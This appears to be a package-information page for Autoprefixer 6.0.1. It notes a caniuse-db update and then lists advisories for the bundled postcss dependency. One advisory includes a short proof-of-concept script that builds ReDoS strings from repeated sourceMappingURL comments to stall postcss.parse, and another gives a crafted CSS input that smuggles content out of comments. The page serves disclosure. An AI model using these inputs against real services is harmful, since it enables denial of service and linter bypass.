Autoprefixer version 6.0.1 introduces subtle refinements over its predecessor, version 6.0.0, primarily focusing on dependency updates to ensure smooth operation and compatibility. A key distinction lies within the caniuse-db dependency, which progresses from version 1.0.30000291 to 1.0.30000296. This update signifies an evolution in browser compatibility data, enhancing Autoprefixer's accuracy in adding necessary vendor prefixes for broader browser support. While the core functionality of parsing CSS and adding vendor prefixes based on Can I Use data remains consistent, developers benefit from a more up-to-date browser support database in version 6.0.1.
Both versions share the same suite of development dependencies, suggesting a consistent development environment and testing process. Developers leveraging tools like Gulp, Mocha, and Browserify will find familiar ground. The MIT license ensures freedom and flexibility in utilizing the library within various projects. For those incorporating Autoprefixer into their build processes, the shift to version 6.0.1 offers an incremental improvement in browser compatibility intelligence. Checking and integrating the newest caniuse-db is critical for a production environment. The versions were released with 2 days apart, which helps to understand the importance of using and updating to the latest version.
All the vulnerabilities related to the version 6.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.